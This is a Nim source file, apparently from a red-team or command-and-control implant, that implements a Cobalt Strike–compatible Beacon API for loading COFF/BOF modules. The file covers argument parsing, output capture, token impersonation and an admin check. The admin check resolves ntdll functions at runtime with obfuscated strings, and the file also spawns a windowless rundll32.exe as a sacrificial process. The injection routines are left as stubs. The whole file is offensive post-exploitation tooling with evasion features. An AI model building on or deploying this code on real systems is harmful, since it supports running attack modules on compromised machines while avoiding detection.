import winim/lean
import ptr_math
import strformat
import ../../common/utils 

#[
    References: 
    - https://github.com/frkngksl/NiCOFF/blob/main/BeaconFunctions.nim 
    - https://github.com/trustedsec/COFFLoader/blob/main/beacon_compatibility.c
    - https://github.com/Cracked5pider/CoffeeLdr/blob/main/Source/BeaconApi.c  
]#

const
    CALLBACK_OUTPUT      = 0x0
    CALLBACK_OUTPUT_OEM  = 0x1e
    CALLBACK_ERROR       = 0x0d
    CALLBACK_OUTPUT_UTF8 = 0x20
    DEFAULT_PROCESS = protect("rundll32.exe")

type
    datap* {.bycopy,packed.} = object
        original*: PCHAR
        buffer*: PCHAR
        length*: int
        size*: int

    formatp* {.bycopy,packed.} = object
        original*: PCHAR
        buffer*: PCHAR
        length*: int
        size*: int

# Reference: https://forum.nim-lang.org/t/7352
type va_list* {.importc: "va_list", header: "<stdarg.h>".} = object
proc va_start(format: va_list, args: PCHAR) {.stdcall, importc, header: "stdio.h"}
proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"}
proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"}
proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".}

var beaconCompatibilityOutput: PCHAR = nil
var beaconCompatibilitySize: int = 0
var beaconCompatibilityOffset: int = 0

#[
    Parsing
]#
proc BeaconDataParse(parser: ptr datap, buffer: PCHAR, size: int): void {.stdcall.} =
    if cast[uint64](parser) == 0:
        return

    parser.original = buffer
    parser.buffer = buffer
    parser.length = size - 4
    parser.size = size - 4
    parser.buffer += 4
    return

proc BeaconDataInt(parser: ptr datap): int {.stdcall.}=
    if cast[uint64](parser) == 0:
        return

    var returnValue: int = 0
    if parser.length < 4:
        return returnValue
    
    copyMem(addr returnValue, parser.buffer, 4)
    parser.length -= 4
    parser.buffer += 4
    return returnValue

proc BeaconDataShort(parser: ptr datap): int16 {.stdcall.} =
    if cast[uint64](parser) == 0:
        return

    var returnValue: int16 = 0
    if parser.length < 2:
        return returnValue

    copyMem(addr returnValue, parser.buffer, 2)
    parser.length -= 2
    parser.buffer += 2
    return returnValue

proc BeaconDataLength(parser: ptr datap): int {.stdcall.} =
    if cast[uint64](parser) == 0:
        return
    
    return parser.length

proc BeaconDataExtract(parser: ptr datap, size: ptr int): PCHAR {.stdcall.} =
    if cast[uint64](parser) == 0:
        return

    var 
        length: int32 = 0
        outData: PCHAR = nil
    
    # Length of prefixed binary blob
    if parser.length < 4:
        return NULL
    copyMem(addr length, parser.buffer, 4)
    parser.buffer += 4

    outData = parser.buffer
    if(outData == NULL):
        return NULL
    parser.length -= 4
    parser.length -= length
    parser.buffer += length
    if(size != NULL and outData != NULL):
        size[] = length
    return outData

#[
    Formatting
]#
proc BeaconFormatAlloc(format: ptr formatp, maxsz: int): void {.stdcall.} =
    if format == NULL:
        return

    format.original = cast[PCHAR](alloc(maxsz))
    zeroMem(format.original, maxsz)
    format.buffer = format.original
    format.length = 0
    format.size = maxsz

proc BeaconFormatReset(format: ptr formatp): void {.stdcall.} =
    if format == NULL:
        return

    zeroMem(format.original, format.size)
    format.buffer = format.original
    format.length = format.size

proc BeaconFormatFree(format: ptr formatp): void {.stdcall.} =
    if format == NULL:
        return

    if cast[uint64](format.original) != 0:
        dealloc(format.original)
        format.original = NULL

    format.buffer = NULL
    format.length = 0
    format.size = 0

proc BeaconFormatAppend(format: ptr formatp, text: PCHAR, len: int): void {.stdcall.} =
    if format == NULL or text == NULL:
        return

    copyMem(format.buffer,text,len)
    format.buffer += len
    format.length += len

proc BeaconFormatPrintf(format: ptr formatp, fmt: PCHAR): void {.stdcall, varargs.} =
    if format == NULL or fmt == NULL:
        return
    
    var args: va_list
    var length: int = 0

    va_start(args, fmt)
    length = vsnprintf(NULL, 0, fmt, args)
    va_end(args)
    
    if format.length + length > format.size:
        return

    va_start(args, fmt)
    discard vsnprintf(format.buffer, length, fmt, args)
    va_end(args)
    format.length += length
    format.buffer += length

proc BeaconFormatToString(format: ptr formatp, size: ptr int): PCHAR {.stdcall.} =
    if format == NULL or size == NULL:
        return

    size[] = format.length
    return format.original

proc swapEndianess(indata: uint32): uint32 =
    var testInt: uint32 = cast[uint32](0xaabbccdd)
    var outInt: uint32 = indata
    if(cast[PBYTE](addr testInt)[] == 0xdd):
        cast[PBYTE](addr outInt)[] = (cast[PBYTE](addr indata)+3)[]
        (cast[PBYTE](addr outInt)+1)[] = (cast[PBYTE](addr indata)+2)[]
        (cast[PBYTE](addr outInt)+2)[] = (cast[PBYTE](addr indata)+1)[]
        (cast[PBYTE](addr outInt)+3)[] = cast[PBYTE](addr indata)[]
    return outint

proc BeaconFormatInt(format: ptr formatp, value: int): void =
    if format == NULL:
        return

    var indata:uint32 = cast[uint32](value)
    var outdata:uint32 = 0
    if format.length + 4 > format.size:
        return
    outdata = swapEndianess(indata)
    copyMem(format.buffer, addr outdata, 4)
    format.length += 4
    format.buffer += 4

#[ 
    Output functions
]#
proc BeaconPrintf(typeArg: int, fmt: PCHAR):void{.stdcall, varargs.} =
    if fmt == NULL:
        return

    var length: int = 0
    var tempPtr: PCHAR = nil
    var args: va_list
    va_start(args, fmt)
    vprintf(fmt, args)
    va_end(args)

    va_start(args, fmt)
    length = vsnprintf(NULL, 0, fmt, args)
    va_end(args)
    tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
    if tempPtr == nil:
        return
    beaconCompatibilityOutput = tempPtr
    zeroMem(beaconCompatibilityOutput + beaconCompatibilityOffset, length + 1)
    va_start(args, fmt)
    length = vsnprintf(beaconCompatibilityOutput+beaconCompatibilityOffset,length,fmt,args)
    beaconCompatibilitySize += length
    beaconCompatibilityOffset += length
    va_end(args)
    
proc BeaconOutput(typeArg: int, data: PCHAR, len: int): void {.stdcall.} =
    if data == NULL:
        return

    var tempPtr: PCHAR = nil
    tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
    beaconCompatibilityOutput = tempPtr
    if tempPtr == nil:
        return
    zeroMem(beaconCompatibilityOutput + beaconCompatibilityOffset, len + 1)
    copyMem(beaconCompatibilityOutput + beaconCompatibilityOffset, data, len)
    beaconCompatibilitySize += len
    beaconCompatibilityOffset += len
    
#[
    Token functions
]#
proc BeaconUseToken(token: HANDLE): BOOL {.stdcall.} =
    SetThreadToken(NULL, token)
    return TRUE

# void BeaconRevertToken();
proc BeaconRevertToken(): void {.stdcall.} =
    RevertToSelf()

# BOOL BeaconIsAdmin();
type 
    NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
    NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
    NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}

proc BeaconIsAdmin(): BOOL {.stdcall.}=
    let 
        hNtdll = GetModuleHandleA(protect("ntdll"))
        pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
        pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
        pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
    
    var 
        status: NTSTATUS = 0
        hToken: HANDLE 
        returnLength: ULONG = 0
        pElevation: TOKEN_ELEVATION 

    # https://ntdoc.m417z.com/ntopenthreadtoken
    status = pNtOpenThreadToken(cast[HANDLE](-2), TOKEN_QUERY, TRUE, addr hToken)
    if status != STATUS_SUCCESS:
        status = pNtOpenProcessToken(cast[HANDLE](-1), TOKEN_QUERY, addr hToken)
        if status != STATUS_SUCCESS: 
            return FALSE
        
    # Get elevation
    status = pNtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
    if status != STATUS_SUCCESS: 
        return FALSE

    return cast[bool](pElevation.TokenIsElevated)

#[ 
    Spawn+Inject Functions
]# 
proc BeaconGetSpawnTo(x86: BOOL, buffer: PCHAR, length: int): void {.stdcall.} =
    if buffer == NULL:
        return 

    var tempBufferPath: string = ""
    if cast[uint64](buffer) == 0:
        return 

    if x86 == TRUE:
        tempBufferPath = fmt"C:\Windows\SysWOW64\{DEFAULT_PROCESS}"
    else:
        tempBufferPath = fmt"C:\Windows\System32\{DEFAULT_PROCESS}"
    
    if tempBufferPath.len > length:
        return
    copyMem(buffer, addr tempBufferPath[0], tempBufferPath.len)

proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken: BOOL, sInfo: ptr STARTUPINFOA, pInfo: ptr PROCESS_INFORMATION): BOOL {.stdcall.} =
    var bSuccess: BOOL = FALSE

    if x86 == TRUE:
        bSuccess = CreateProcessA(NULL, fmt"C:\Windows\SysWOW64\{DEFAULT_PROCESS}", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo)
    else:
        bSuccess = CreateProcessA(NULL, fmt"C:\Windows\System32\{DEFAULT_PROCESS}", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo)
    
    return bSuccess

proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
    # Not implemented
    return

proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
    # Not implemented
    return

proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION): void {.stdcall.} =
    CloseHandle(pInfo.hThread)
    CloseHandle(pInfo.hProcess)

#[
    Utility Functions
]# 
proc toWideChar(src: PCHAR, dst: PCHAR, max: int): BOOL {.stdcall.} =
    # Not implemented
    return FALSE

proc BeaconGetOutputData*(outSize: ptr int): PCHAR {.stdcall.} =
    var outData: PCHAR = beaconCompatibilityOutput
    
    if cast[uint64](outSize) != 0:
        outsize[] = beaconCompatibilitySize
    beaconCompatibilityOutput = NULL
    beaconCompatibilitySize = 0
    beaconCompatibilityOffset = 0
    return outData

var beaconApiAddresses*: array[23, tuple[name: string, address: PVOID]] = [
    (protect("BeaconDataParse"), BeaconDataParse),
    (protect("BeaconDataInt"), BeaconDataInt),
    (protect("BeaconDataShort"), BeaconDataShort),
    (protect("BeaconDataLength"), BeaconDataLength),
    (protect("BeaconDataExtract"), BeaconDataExtract),
    (protect("BeaconFormatAlloc"), BeaconFormatAlloc),
    (protect("BeaconFormatReset"), BeaconFormatReset),
    (protect("BeaconFormatFree"), BeaconFormatFree),
    (protect("BeaconFormatAppend"), BeaconFormatAppend),
    (protect("BeaconFormatPrintf"), BeaconFormatPrintf),
    (protect("BeaconFormatToString"), BeaconFormatToString),
    (protect("BeaconFormatInt"), BeaconFormatInt),
    (protect("BeaconPrintf"), BeaconPrintf),
    (protect("BeaconOutput"), BeaconOutput),
    (protect("BeaconUseToken"), BeaconUseToken),
    (protect("BeaconRevertToken"), BeaconRevertToken),
    (protect("BeaconIsAdmin"), BeaconIsAdmin),
    (protect("BeaconGetSpawnTo"), BeaconGetSpawnTo),
    (protect("BeaconSpawnTemporaryProcess"), BeaconSpawnTemporaryProcess),
    (protect("BeaconInjectProcess"), BeaconInjectProcess),
    (protect("BeaconInjectTemporaryProcess"), BeaconInjectTemporaryProcess),
    (protect("BeaconCleanupProcess"), BeaconCleanupProcess),
    (protect("toWideChar"), toWideChar)
]